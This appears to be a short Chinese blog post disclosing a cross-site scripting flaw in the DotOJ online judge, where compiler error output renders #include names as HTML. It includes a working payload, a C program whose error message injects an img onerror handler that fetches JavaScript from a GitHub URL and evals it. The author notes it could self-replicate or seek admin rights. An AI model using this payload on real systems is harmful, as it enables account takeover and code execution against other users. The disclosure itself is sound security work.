XSS on DotOJ
众所周知,呢喃的若干课程都使用了 DotOJ 或其魔改版,比如 CPL 和信计导论实验。假如你比较手滑,有的时候会出现这种情况:
1 |
|
然后自然报错了,像这样:
1 | main.c:1:10: fatal error: algorithms: No such file or directory |
头文件不见了,原来是变成了 <algorithms>
标签。
那么发挥一下想象力,我们可以做到:
1 |
这样也不在话下:
1 |
这里的关键在于让标签出现在评测信息的同一个 div 里,不能被拆开,所以在编辑框里没办法触发。而且头文件里还不能塞 >
,字符串转义也挺麻烦的。
这么说的话,为什么一定要用头文件呢?只要出现在评测信息里不就好了,再改成远程加载代码,所以又可以:
1 | int main(){const char*ch=R"(<img src onerror="setTimeout(async function(){eval(await(await fetch('https://raw.githubusercontent.com/ax6n/malijudge/refs/heads/main/hack.js')).text())},1000);">)";char y=ch[0];y=ch[1];ERR} |
这样就做到了本地执行任何代码,可以做一些很有破坏性的事情,比如自动提交本代码的副本到别的题目,或者尝试获得管理员权限。
所以就这么一点东西。修的话也好修,而且感觉得赶紧修掉:
我草 我的oj正在自动下载原神